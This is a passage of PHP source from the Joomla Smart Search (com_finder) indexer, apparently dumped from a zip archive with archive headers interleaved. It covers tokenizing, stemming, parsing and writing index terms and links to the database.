JString::strtolower($input); $input = preg_replace('#[^\pL\pM\pN\p{Pi}\p{Pf}\'+-.,]+#mui', ' ', $input); $input = preg_replace('#(^|\s)[+-.,]+([\pL\pM]+)#mui', ' $1', $input); $input = preg_replace('#([\pL\pM\pN]+)[+-.,]+(\s|$)#mui', '$1 ', $input); $input = preg_replace('#([\pL\pM]+)[+.,]+([\pL\pM]+)#muiU', '$1 $2', $input); // Ungreedy $input = preg_replace('#(^|\s)[\'+-.,]+(\s|$)#mui', ' ', $input); $input = preg_replace('#(^|\s)[\p{Pi}\p{Pf}]+(\s|$)#mui', ' ', $input); $input = preg_replace('#[' . $quotes . ']+#mui', '\'', $input); $input = preg_replace('#\s+#mui', ' ', $input); $input = JString::trim($input); // Explode the normalized string to get the terms. $terms = explode(' ', $input); /* * If we have Unicode support and are dealing with Chinese text, Chinese * has to be handled specially because there are not necessarily any spaces * between the "words". So, we have to test if the words belong to the Chinese * character set and if so, explode them into single glyphs or "words". */ if ($lang === 'zh') { // Iterate through the terms and test if they contain Chinese. for ($i = 0, $n = count($terms); $i < $n; $i++) { $charMatches = array(); $charCount = preg_match_all('#[\p{Han}]#mui', $terms[$i], $charMatches); // Split apart any groups of Chinese characters. for ($j = 0; $j < $charCount; $j++) { $tSplit = JString::str_ireplace($charMatches[0][$j], '', $terms[$i], false); if (!empty($tSplit)) { $terms[$i] = $tSplit; } else { unset($terms[$i]); } $terms[] = $charMatches[0][$j]; } } // Reset array keys. $terms = array_values($terms); } /* * If we have to handle the input as a phrase, that means we don't * tokenize the individual terms and we do not create the two and three * term combinations. The phrase must contain more than one word! */ if ($phrase === true && count($terms) > 1) { // Create tokens from the phrase. $tokens[] = new FinderIndexerToken($terms, $lang); } else { // Create tokens from the terms. for ($i = 0, $n = count($terms); $i < $n; $i++) { $tokens[] = new FinderIndexerToken($terms[$i], $lang); } // Create two and three word phrase tokens from the individual words. for ($i = 0, $n = count($tokens); $i < $n; $i++) { // Setup the phrase positions. $i2 = $i + 1; $i3 = $i + 2; // Create the two word phrase. if ($i2 < $n && isset($tokens[$i2])) { // Tokenize the two word phrase. $token = new FinderIndexerToken(array($tokens[$i]->term, $tokens[$i2]->term), $lang, $lang === 'zh' ? '' : ' '); $token->derived = true; // Add the token to the stack. $tokens[] = $token; } // Create the three word phrase. if ($i3 < $n && isset($tokens[$i3])) { // Tokenize the three word phrase. $token = new FinderIndexerToken(array($tokens[$i]->term, $tokens[$i2]->term, $tokens[$i3]->term), $lang, $lang === 'zh' ? '' : ' '); $token->derived = true; // Add the token to the stack. $tokens[] = $token; } } } if ($store) { $cache[$store] = count($tokens) > 1 ? $tokens : array_shift($tokens); return $cache[$store]; } else { return count($tokens) > 1 ? $tokens : array_shift($tokens); } } /** * Method to get the base word of a token. This method uses the public * {@link FinderIndexerHelper::$stemmer} object if it is set. If no stemmer is set, * the original token is returned. * * @param string $token The token to stem. * @param string $lang The language of the token. * * @return string The root token. * * @since 2.5 */ public static function stem($token, $lang) { // Trim apostrophes at either end of the token. $token = JString::trim($token, '\''); // Trim everything after any apostrophe in the token. if (($pos = JString::strpos($token, '\'')) !== false) { $token = JString::substr($token, 0, $pos); } // Stem the token if we have a valid stemmer to use. if (self::$stemmer instanceof FinderIndexerStemmer) { return self::$stemmer->stem($token, $lang); } else { return $token; } } /** * Method to add a content type to the database. * * @param string $title The type of content. For example: PDF * @param string $mime The mime type of the content. For example: PDF [optional] * * @return integer The id of the content type. * * @since 2.5 * @throws Exception on database error. */ public static function addContentType($title, $mime = null) { static $types; $db = JFactory::getDBO(); $query = $db->getQuery(true); // Check if the types are loaded. if (empty($types)) { // Build the query to get the types. $query->select('*'); $query->from($db->quoteName('#__finder_types')); // Get the types. $db->setQuery($query); $types = $db->loadObjectList('title'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } // Check if the type already exists. if (isset($types[$title])) { return (int) $types[$title]->id; } // Add the type. $query->clear(); $query->insert($db->quoteName('#__finder_types')); $query->columns(array($db->quoteName('title'), $db->quoteName('mime'))); $query->values($db->quote($title) . ', ' . $db->quote($mime)); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Return the new id. return (int) $db->insertid(); } /** * Method to check if a token is common in a language. * * @param string $token The token to test. * @param string $lang The language to reference. * * @return boolean True if common, false otherwise. * * @since 2.5 */ public static function isCommon($token, $lang) { static $data; // Load the common tokens for the language if necessary. if (!isset($data[$lang])) { $data[$lang] = FinderIndexerHelper::getCommonWords($lang); } // Check if the token is in the common array. if (in_array($token, $data[$lang])) { return true; } else { return false; } } /** * Method to get an array of common terms for a language. * * @param string $lang The language to use. * * @return array Array of common terms. * * @since 2.5 * @throws Exception on database error. */ public static function getCommonWords($lang) { $db = JFactory::getDBO(); // Create the query to load all the common terms for the language. $query = $db->getQuery(true); $query->select($db->quoteName('term')); $query->from($db->quoteName('#__finder_terms_common')); $query->where($db->quoteName('language') . ' = ' . $db->quote($lang)); // Load all of the common terms for the language. $db->setQuery($query); $results = $db->loadColumn(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } return $results; } /** * Method to get the default language for the site. * * @return string The default language string. * * @since 2.5 */ public static function getDefaultLanguage() { static $lang; // Get the default language. if (empty($lang)) { $lang = JComponentHelper::getParams('com_languages')->get('site', 'en-GB'); } return $lang; } /** * Method to parse a language/locale key and return a simple language string. * * @param string $lang The language/locale key. For example: en-GB * * @return string The simple language string. For example: en * * @since 2.5 */ public static function getPrimaryLanguage($lang) { static $data; // Only parse the identifier if necessary. if (!isset($data[$lang])) { if (is_callable(array('Locale', 'getPrimaryLanguage'))) { // Get the language key using the Locale package. $data[$lang] = Locale::getPrimaryLanguage($lang); } else { // Get the language key using string position. $data[$lang] = JString::substr($lang, 0, JString::strpos($lang, '-')); } } return $data[$lang]; } /** * Method to get the path (SEF route) for a content item. * * @param string $url The non-SEF route to the content item. * * @return string The path for the content item. * * @since 2.5 */ public static function getContentPath($url) { static $router; // Only get the router once. if (!($router instanceof JRouter)) { jimport('joomla.application.router'); include_once JPATH_SITE . '/includes/application.php'; // Get and configure the site router. $config = JFactory::getConfig(); $router = JRouter::getInstance('site'); $router->setMode($config->get('sef', 1)); } // Build the relative route. $uri = $router->build($url); $route = $uri->toString(array('path', 'query', 'fragment')); $route = str_replace(JURI::base(true) . '/', '', $route); return $route; } /** * Method to get extra data for a content before being indexed. This is how * we add Comments, Tags, Labels, etc. that should be available to Finder. * * @param FinderIndexerResult &$item The item to index as an FinderIndexerResult object. * * @return boolean True on success, false on failure. * * @since 2.5 * @throws Exception on database error. */ public static function getContentExtras(FinderIndexerResult &$item) { // Get the event dispatcher. $dispatcher = JDispatcher::getInstance(); // Load the finder plugin group. JPluginHelper::importPlugin('finder'); try { // Trigger the event. $results = $dispatcher->trigger('onPrepareFinderContent', array(&$item)); // Check the returned results. This is for plugins that don't throw // exceptions when they encounter serious errors. if (in_array(false, $results)) { throw new Exception($dispatcher->getError(), 500); } } catch (Exception $e) { // Handle a caught exception. throw $e; } return true; } /** * Method to process content text using the onContentPrepare event trigger. * * @param string $text The content to process. * @param JRegistry $params The parameters object. [optional] * * @return string The processed content. * * @since 2.5 */ public static function prepareContent($text, $params = null) { static $loaded; // Get the dispatcher. $dispatcher = JDispatcher::getInstance(); // Load the content plugins if necessary. if (empty($loaded)) { JPluginHelper::importPlugin('content'); $loaded = true; } // Instantiate the parameter object if necessary. if (!($params instanceof JRegistry)) { $registry = new JRegistry; $registry->loadString($params); $params = $registry; } // Create a mock content object. $content = JTable::getInstance('Content'); $content->text = $text; // Fire the onContentPrepare event. $dispatcher->trigger('onContentPrepare', array('com_finder.indexer', &$content, &$params, 0)); return $content->text; } } PKs>\6%com_finder/helpers/indexer/index.htmlnuW+APKs>\)$com_finder/helpers/indexer/.htaccessnuW+A Order allow,deny Deny from all PKs>\}lW W %com_finder/helpers/indexer/parser.phpnuW+Aclean($format, 'cmd'); $path = dirname(__FILE__) . '/parser/' . $format . '.php'; $class = 'FinderIndexerParser' . ucfirst($format); // Check if a parser exists for the format. if (file_exists($path)) { // Instantiate the parser. include_once $path; $instances[$format] = new $class; } else { // Throw invalid format exception. throw new Exception(JText::sprintf('COM_FINDER_INDEXER_INVALID_PARSER', $format)); } return $instances[$format]; } /** * Method to parse input and extract the plain text. Because this method is * called from both inside and outside the indexer, it needs to be able to * batch out its parsing functionality to deal with the inefficiencies of * regular expressions. We will parse recursively in 2KB chunks. * * @param string $input The input to parse. * * @return string The plain text input. * * @since 2.5 */ public function parse($input) { $return = null; // Parse the input in batches if bigger than 2KB. if (strlen($input) > 2048) { $start = 0; $end = strlen($input); $chunk = 2048; while ($start < $end) { // Setup the string. $string = substr($input, $start, $chunk); // Find the last space character if we aren't at the end. $ls = (($start + $chunk) < $end ? strrpos($string, ' ') : false); // Truncate to the last space character. if ($ls !== false) { $string = substr($string, 0, $ls); } // Adjust the start position for the next iteration. $start += ($ls !== false ? ($ls + 1 - $chunk) + $chunk : $chunk); // Parse the chunk. $return .= $this->process($string); } } // The input is less than 2KB so we can parse it efficiently. else { // Parse the chunk. $return .= $this->process($input); } return $return; } /** * Method to process input and extract the plain text. * * @param string $input The input to process. * * @return string The plain text input. * * @since 2.5 */ abstract protected function process($input); } PKs>\>YY&com_finder/helpers/indexer/indexer.phpnuW+Aget('_finder.state', null); // If the state is empty, load the values for the first time. if (empty($data)) { $data = new JObject; // Load the default configuration options. $data->options = JComponentHelper::getParams('com_finder'); // Setup the weight lookup information. $data->weights = array( self::TITLE_CONTEXT => round($data->options->get('title_multiplier', 1.7), 2), self::TEXT_CONTEXT => round($data->options->get('text_multiplier', 0.7), 2), self::META_CONTEXT => round($data->options->get('meta_multiplier', 1.2), 2), self::PATH_CONTEXT => round($data->options->get('path_multiplier', 2.0), 2), self::MISC_CONTEXT => round($data->options->get('misc_multiplier', 0.3), 2) ); // Set the current time as the start time. $data->startTime = JFactory::getDate()->toSQL(); // Set the remaining default values. $data->batchSize = (int) $data->options->get('batch_size', 50); $data->batchOffset = 0; $data->totalItems = 0; $data->pluginState = array(); } // Setup the profiler if debugging is enabled. if (JFactory::getApplication()->getCfg('debug')) { jimport('joomla.error.profiler'); self::$profiler = JProfiler::getInstance('FinderIndexer'); } // Setup the stemmer. if ($data->options->get('stem', 1) && $data->options->get('stemmer', 'porter_en')) { FinderIndexerHelper::$stemmer = FinderIndexerStemmer::getInstance($data->options->get('stemmer', 'porter_en')); } // Set the state. self::$state = $data; return self::$state; } /** * Method to set the indexer state. * * @param object $data A new indexer state object. * * @return boolean True on success, false on failure. * * @since 2.5 */ public static function setState($data) { // Check the state object. if (empty($data) || !$data instanceof JObject) { return false; } // Set the new internal state. self::$state = $data; // Set the new session state. $session = JFactory::getSession(); $session->set('_finder.state', $data); return true; } /** * Method to reset the indexer state. * * @return void * * @since 2.5 */ public static function resetState() { // Reset the internal state to null. self::$state = null; // Reset the session state to null. $session = JFactory::getSession(); $session->set('_finder.state', null); } /** * Method to index a content item. * * @param FinderIndexerResult $item The content item to index. * @param string $format The format of the content. [optional] * * @return integer The ID of the record in the links table. * * @since 2.5 * @throws Exception on database error. */ public static function index($item, $format = 'html') { // Mark beforeIndexing in the profiler. self::$profiler ? self::$profiler->mark('beforeIndexing') : null; $db = JFactory::getDBO(); $nd = $db->getNullDate(); // Check if the item is in the database. $query = $db->getQuery(true); $query->select($db->quoteName('link_id') . ', ' . $db->quoteName('md5sum')); $query->from($db->quoteName('#__finder_links')); $query->where($db->quoteName('url') . ' = ' . $db->quote($item->url)); // Load the item from the database. $db->setQuery($query); $link = $db->loadObject(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Get the indexer state. $state = FinderIndexer::getState(); // Get the signatures of the item. $curSig = self::getSignature($item); $oldSig = isset($link->md5sum) ? $link->md5sum : null; // Get the other item information. $linkId = empty($link->link_id) ? null : $link->link_id; $isNew = empty($link->link_id) ? true : false; // Check the signatures. If they match, the item is up to date. if (!$isNew && $curSig == $oldSig) { return $linkId; } /* * If the link already exists, flush all the term maps for the item. * Maps are stored in 16 tables so we need to iterate through and flush * each table one at a time. */ if (!$isNew) { for ($i = 0; $i <= 15; $i++) { // Flush the maps for the link. $query->clear(); $query->delete(); $query->from($db->quoteName('#__finder_links_terms' . dechex($i))); $query->where($db->quoteName('link_id') . ' = ' . (int) $linkId); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } // Remove the taxonomy maps. FinderIndexerTaxonomy::removeMaps($linkId); } // Mark afterUnmapping in the profiler. self::$profiler ? self::$profiler->mark('afterUnmapping') : null; // Perform cleanup on the item data. $item->publish_start_date = intval($item->publish_start_date) != 0 ? $item->publish_start_date : $nd; $item->publish_end_date = intval($item->publish_end_date) != 0 ? $item->publish_end_date : $nd; $item->start_date = intval($item->start_date) != 0 ? $item->start_date : $nd; $item->end_date = intval($item->end_date) != 0 ? $item->end_date : $nd; // Prepare the item description. $item->description = FinderIndexerHelper::parse($item->summary); /* * Now, we need to enter the item into the links table. If the item * already exists in the database, we need to use an UPDATE query. * Otherwise, we need to use an INSERT to get the link id back. */ if ($isNew) { $columnsArray = array( $db->quoteName('url'), $db->quoteName('route'), $db->quoteName('title'), $db->quoteName('description'), $db->quoteName('indexdate'), $db->quoteName('published'), $db->quoteName('state'), $db->quoteName('access'), $db->quoteName('language'), $db->quoteName('type_id'), $db->quoteName('object'), $db->quoteName('publish_start_date'), $db->quoteName('publish_end_date'), $db->quoteName('start_date'), $db->quoteName('end_date'), $db->quoteName('list_price'), $db->quoteName('sale_price') ); // Insert the link. $query->clear(); $query->insert($db->quoteName('#__finder_links')); $query->columns($columnsArray); $query->values( $db->quote($item->url) . ', ' . $db->quote($item->route) . ', ' . $db->quote($item->title) . ', ' . $db->quote($item->description) . ', ' . $query->currentTimestamp() . ', ' . '1, ' . (int) $item->state . ', ' . (int) $item->access . ', ' . $db->quote($item->language) . ', ' . (int) $item->type_id . ', ' . $db->quote(serialize($item)) . ', ' . $db->quote($item->publish_start_date) . ', ' . $db->quote($item->publish_end_date) . ', ' . $db->quote($item->start_date) . ', ' . $db->quote($item->end_date) . ', ' . $db->quote($item->list_price) . ', ' . $db->quote($item->sale_price) ); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Get the link id. $linkId = (int) $db->insertid(); } else { // Update the link. //@TODO: Implement this $query->clear(); $query->update($db->qn('#__finder_links')); $query->set($db->qn('route') . ' = ' . $db->quote($item->route)); $query->set($db->qn('title') . ' = ' . $db->quote($item->title)); $query->set($db->qn('description') . ' = ' . $db->quote($item->description)); $query->set($db->qn('indexdate') . ' = ' . $query->currentTimestamp()); $query->set($db->qn('state') . ' = ' . (int) $item->state); $query->set($db->qn('access') . ' = ' . (int) $item->access); $query->set($db->qn('language') . ' = ' . $db->quote($item->language)); $query->set($db->qn('type_id') . ' = ' . (int) $item->type_id); $query->set($db->qn('object') . ' = ' . $db->quote(serialize($item))); $query->set($db->qn('publish_start_date') . ' = ' . $db->quote($item->publish_start_date)); $query->set($db->qn('publish_end_date') . ' = ' . $db->quote($item->publish_end_date)); $query->set($db->qn('start_date') . ' = ' . $db->quote($item->start_date)); $query->set($db->qn('end_date') . ' = ' . $db->quote($item->end_date)); $query->set($db->qn('list_price') . ' = ' . $db->quote($item->list_price)); $query->set($db->qn('sale_price') . ' = ' . $db->quote($item->sale_price)); $query->where('link_id = ' . (int) $linkId); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } // Set up the variables we will need during processing. $tokens = array(); $count = 0; // Mark afterLinking in the profiler. self::$profiler ? self::$profiler->mark('afterLinking') : null; // Truncate the tokens tables. $db->truncateTable('#__finder_tokens'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Truncate the tokens aggregate table. $db->truncateTable('#__finder_tokens_aggregate'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } /* * Process the item's content. The items can customize their * processing instructions to define extra properties to process * or rearrange how properties are weighted. */ foreach ($item->getInstructions() as $group => $properties) { // Iterate through the properties of the group. foreach ($properties as $property) { // Check if the property exists in the item. if (empty($item->$property)) { continue; } // Tokenize the property. if (is_array($item->$property)) { // Tokenize an array of content and add it to the database. foreach ($item->$property as $ip) { // If the group is path, we need to a few extra processing // steps to strip the extension and convert slashes and dashes // to spaces. if ($group === self::PATH_CONTEXT) { $ip = JFile::stripExt($ip); $ip = str_replace('/', ' ', $ip); $ip = str_replace('-', ' ', $ip); } // Tokenize a string of content and add it to the database. $count += FinderIndexer::tokenizeToDB($ip, $group, $item->language, $format); // Check if we're approaching the memory limit of the token table. if ($count > self::$state->options->get('memory_table_limit', 30000)) { FinderIndexer::toggleTables(false); } } } else { // If the group is path, we need to a few extra processing // steps to strip the extension and convert slashes and dashes // to spaces. if ($group === self::PATH_CONTEXT) { $item->$property = JFile::stripExt($item->$property); $item->$property = str_replace('/', ' ', $item->$property); $item->$property = str_replace('-', ' ', $item->$property); } // Tokenize a string of content and add it to the database. $count += FinderIndexer::tokenizeToDB($item->$property, $group, $item->language, $format); // Check if we're approaching the memory limit of the token table. if ($count > self::$state->options->get('memory_table_limit', 30000)) { FinderIndexer::toggleTables(false); } } } } /* * Process the item's taxonomy. The items can customize their * taxonomy mappings to define extra properties to map. */ foreach ($item->getTaxonomy() as $branch => $nodes) { // Iterate through the nodes and map them to the branch. foreach ($nodes as $node) { // Add the node to the tree. $nodeId = FinderIndexerTaxonomy::addNode($branch, $node->title, $node->state, $node->access); // Add the link => node map. FinderIndexerTaxonomy::addMap($linkId, $nodeId); // Tokenize the node title and add them to the database. $count += FinderIndexer::tokenizeToDB($node->title, self::META_CONTEXT, $item->language, $format); } } // Mark afterProcessing in the profiler. self::$profiler ? self::$profiler->mark('afterProcessing') : null; /* * At this point, all of the item's content has been parsed, tokenized * and inserted into the #__finder_tokens table. Now, we need to * aggregate all the data into that table into a more usable form. The * aggregated data will be inserted into #__finder_tokens_aggregate * table. */ $query = 'INSERT INTO ' . $db->quoteName('#__finder_tokens_aggregate') . ' (' . $db->quoteName('term_id') . ', ' . $db->quoteName('term') . ', ' . $db->quoteName('stem') . ', ' . $db->quoteName('common') . ', ' . $db->quoteName('phrase') . ', ' . $db->quoteName('term_weight') . ', ' . $db->quoteName('context') . ', ' . $db->quoteName('context_weight') . ')' . ' SELECT' . ' t.term_id, t1.term, t1.stem, t1.common, t1.phrase, t1.weight, t1.context,' . ' ROUND( t1.weight * COUNT( t2.term ) * %F, 8 ) AS context_weight' . ' FROM (' . ' SELECT DISTINCT t1.term, t1.stem, t1.common, t1.phrase, t1.weight, t1.context' . ' FROM ' . $db->quoteName('#__finder_tokens') . ' AS t1' . ' WHERE t1.context = %d' . ' ) AS t1' . ' JOIN ' . $db->quoteName('#__finder_tokens') . ' AS t2 ON t2.term = t1.term' . ' LEFT JOIN ' . $db->quoteName('#__finder_terms') . ' AS t ON t.term = t1.term' . ' WHERE t2.context = %d' . ' GROUP BY t1.term' . ' ORDER BY t1.term DESC'; // Iterate through the contexts and aggregate the tokens per context. foreach ($state->weights as $context => $multiplier) { // Run the query to aggregate the tokens for this context.. $db->setQuery(sprintf($query, $multiplier, $context, $context)); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } // Mark afterAggregating in the profiler. self::$profiler ? self::$profiler->mark('afterAggregating') : null; /* * When we pulled down all of the aggregate data, we did a LEFT JOIN * over the terms table to try to find all the term ids that * already exist for our tokens. If any of the rows in the aggregate * table have a term of 0, then no term record exists for that * term so we need to add it to the terms table. */ //@TODO: PostgreSQL doesn't support SOUNDEX out of the box /* This edit is causing the indexer to fail. $queryInsIgn = 'INSERT INTO ' . $db->quoteName('#__finder_terms') . ' (' . $db->quoteName('term') . ', ' . $db->quoteName('stem') . ', ' . $db->quoteName('common') . ', ' . $db->quoteName('phrase') . ', ' . $db->quoteName('weight') . ', ' . $db->quoteName('soundex') . ')' . ' SELECT ta.term, ta.stem, ta.common, ta.phrase, ta.term_weight, SOUNDEX(ta.term)' . ' FROM ' . $db->quoteName('#__finder_tokens_aggregate') . ' AS ta' . ' WHERE 1 NOT IN ' . '( SELECT 1 FROM ' . $db->quoteName('#__finder_terms') . ' WHERE ta.term_id = 0 )' . ' AND ta.term_id = 0' . ' GROUP BY ta.term'; $db->setQuery($queryInsIgn); $db->query(); // Check for a database error. if ($db->getErrorNum()) { //@TODO: PostgreSQL doesn't support SOUNDEX out of the box $query->clear(); $query->select('ta.term, ta.stem, ta.common, ta.phrase, ta.term_weight, SOUNDEX(ta.term)') ->from($db->quoteName('#__finder_tokens_aggregate') . ' AS ta') ->where('ta.term_id = 0'); $db->setQuery($query); $subQuVal = $db->loadObject(); $quRepl_p1 = 'UPDATE ' . $db->quoteName('#__finder_terms') . ' AS ta' . ' SET ' . ' (' . $db->quoteName('term') . ', ' . $db->quoteName('stem') . ', ' . $db->quoteName('common') . ', ' . $db->quoteName('phrase') . ', ' . $db->quoteName('weight') . ', ' . $db->quoteName('soundex') . ')' . ' = ' . ' (' . $db->quote($subQuVal->term) . ', ' . $db->quote($subQuVal->stem) . ', ' . $db->quote($subQuVal->common) . ', ' . $db->quote($subQuVal->phrase) . ', ' . $db->quote($subQuVal->weight) . ', ' . $db->quote($subQuVal->soundex) . ')' . ' WHERE ' . $db->quoteName('term') . ' = ' . $db->quote($subQuVal->term) . ' AND ' . $db->quoteName('stem') . ' = ' . $db->quote($subQuVal->stem) . ' AND ' . $db->quoteName('common') . ' = ' . $db->quote($subQuVal->common) . ' AND ' . $db->quoteName('phrase') . ' = ' . $db->quote($subQuVal->phrase) . ' AND ' . $db->quoteName('weight') . ' = ' . $db->quote($subQuVal->weight) . ' AND ' . $db->quoteName('soundex') . ' = ' . $db->quote($subQuVal->soundex); $db->setQuery($quRepl_p1); $db->query(); $quRepl_p2 = 'INSERT INTO ' . $db->quoteName('#__finder_terms') . ' (' . $db->quoteName('term') . ', ' . $db->quoteName('stem') . ', ' . $db->quoteName('common') . ', ' . $db->quoteName('phrase') . ', ' . $db->quoteName('weight') . ', ' . $db->quoteName('soundex') . ')' . ' SELECT ta.term, ta.stem, ta.common, ta.phrase, ta.term_weight, SOUNDEX(ta.term)' . ' FROM ' . $db->quoteName('#__finder_tokens_aggregate') . ' AS ta' . ' WHERE 1 NOT IN ' . '( SELECT 1 FROM ' . $db->quoteName('#__finder_terms') . ' WHERE ta.term_id = 0 )' . ' AND ta.term_id = 0' . ' GROUP BY ta.term'; $db->setQuery($quRepl_p2); $db->query(); // Check for a database error. if ($db->getErrorNum()) { throw new Exception($db->getErrorMsg(), 500); } } End of failing edit */ //@TODO: PostgreSQL doesn't support INSERT IGNORE INTO //@TODO: PostgreSQL doesn't support SOUNDEX out of the box $db->setQuery( 'INSERT IGNORE INTO ' . $db->quoteName('#__finder_terms') . ' (' . $db->quoteName('term') . ', ' . $db->quoteName('stem') . ', ' . $db->quoteName('common') . ', ' . $db->quoteName('phrase') . ', ' . $db->quoteName('weight') . ', ' . $db->quoteName('soundex') . ')' . ' SELECT ta.term, ta.stem, ta.common, ta.phrase, ta.term_weight, SOUNDEX(ta.term)' . ' FROM ' . $db->quoteName('#__finder_tokens_aggregate') . ' AS ta' . ' WHERE ta.term_id = 0' . ' GROUP BY ta.term' ); $db->query(); // Check for a database error. if ($db->getErrorNum()) { { throw new Exception($db->getErrorMsg(), 500); } } /* * Now, we just inserted a bunch of new records into the terms table * so we need to go back and update the aggregate table with all the * new term ids. */ $query = $db->getQuery(true); $query->update($db->quoteName('#__finder_tokens_aggregate') . ' AS ta'); $query->join('INNER', $db->quoteName('#__finder_terms') . ' AS t ON t.term = ta.term'); $query->set('ta.term_id = t.term_id'); $query->where('ta.term_id = 0'); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Mark afterTerms in the profiler. self::$profiler ? self::$profiler->mark('afterTerms') : null; /* * After we've made sure that all of the terms are in the terms table * and the aggregate table has the correct term ids, we need to update * the links counter for each term by one. */ $query->clear(); $query->update($db->quoteName('#__finder_terms') . ' AS t'); $query->join('INNER', $db->quoteName('#__finder_tokens_aggregate') . ' AS ta ON ta.term_id = t.term_id'); $query->set('t.' . $db->quoteName('links') . ' = t.links + 1'); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Mark afterTerms in the profiler. self::$profiler ? self::$profiler->mark('afterTerms') : null; /* * Before we can insert all of the mapping rows, we have to figure out * which mapping table the rows need to be inserted into. The mapping * table for each term is based on the first character of the md5 of * the first character of the term. In php, it would be expressed as * substr(md5(substr($token, 0, 1)), 0, 1) */ $query->clear(); $query->update($db->quoteName('#__finder_tokens_aggregate')); $query->set($db->quoteName('map_suffix') . ' = SUBSTR(MD5(SUBSTR(' . $db->quoteName('term') . ', 1, 1)), 1, 1)'); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } /* * At this point, the aggregate table contains a record for each * term in each context. So, we're going to pull down all of that * data while grouping the records by term and add all of the * sub-totals together to arrive at the final total for each token for * this link. Then, we insert all of that data into the appropriate * mapping table. */ for ($i = 0; $i <= 15; $i++) { // Get the mapping table suffix. $suffix = dechex($i); /* * We have to run this query 16 times, one for each link => term * mapping table. */ //@TODO: Convert to JDatabaseQuery $db->setQuery( 'INSERT INTO ' . $db->quoteName('#__finder_links_terms' . $suffix) . ' (' . $db->quoteName('link_id') . ', ' . $db->quoteName('term_id') . ', ' . $db->quoteName('weight') . ')' . ' SELECT ' . (int) $linkId . ', ' . $db->quoteName('term_id') . ',' . ' ROUND(SUM(' . $db->quoteName('context_weight') . '), 8)' . ' FROM ' . $db->quoteName('#__finder_tokens_aggregate') . ' WHERE ' . $db->quoteName('map_suffix') . ' = ' . $db->quote($suffix) . ' GROUP BY ' . $db->quoteName('term') . ' ORDER BY ' . $db->quoteName('term') . ' DESC' ); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } // Mark afterMapping in the profiler. self::$profiler ? self::$profiler->mark('afterMapping') : null; // Update the signature. $query->clear(); $query->update($db->quoteName('#__finder_links')); $query->set($db->quoteName('md5sum') . ' = ' . $db->quote($curSig)); $query->where($db->quoteName('link_id') . ' = ' . $db->quote($linkId)); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Mark afterSigning in the profiler. self::$profiler ? self::$profiler->mark('afterSigning') : null; // Truncate the tokens tables. $db->truncateTable('#__finder_tokens'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Truncate the tokens aggregate table. $db->truncateTable('#__finder_tokens_aggregate'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Toggle the token tables back to memory tables. FinderIndexer::toggleTables(true); // Mark afterTruncating in the profiler. self::$profiler ? self::$profiler->mark('afterTruncating') : null; return $linkId; } /** * Method to remove a link from the index. * * @param integer $linkId The id of the link. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public static function remove($linkId) { $db = JFactory::getDBO(); $query = $db->getQuery(true); // Get the indexer state. $state = FinderIndexer::getState(); // Update the link counts and remove the mapping records. for ($i = 0; $i <= 15; $i++) { // Update the link counts for the terms. $query->update($db->quoteName('#__finder_terms') . ' AS t'); $query->join('INNER', $db->quoteName('#__finder_links_terms' . dechex($i)) . ' AS m ON m.term_id = t.term_id'); $query->set($db->quoteName('t'). '.' . $db->quoteName('links') . ' ='. $db->quoteName('t') .'.' . $db->quoteName('links') . ' - 1'); $query->where($db->quoteName('m') . '.' . $db->quoteName('link_id') . ' = ' . $db->quote((int) $linkId)); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Remove all records from the mapping tables. $query->clear(); $query->delete(); $query->from($db->quoteName('#__finder_links_terms' . dechex($i))); $query->where($db->quoteName('link_id') . ' = ' . (int) $linkId); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } // Delete all orphaned terms. $query->clear(); $query->delete(); $query->from($db->quoteName('#__finder_terms')); $query->where($db->quoteName('links') . ' <= 0'); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Delete the link from the index. $query->clear(); $query->delete(); $query->from($db->quoteName('#__finder_links')); $query->where($db->quoteName('link_id') . ' = ' . $db->quote((int) $linkId)); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Remove the taxonomy maps. FinderIndexerTaxonomy::removeMaps($linkId); // Remove the orphaned taxonomy nodes. FinderIndexerTaxonomy::removeOrphanNodes(); return true; } /** * Method to optimize the index. We use this method to remove unused terms * and any other optimizations that might be necessary. * * @return boolean 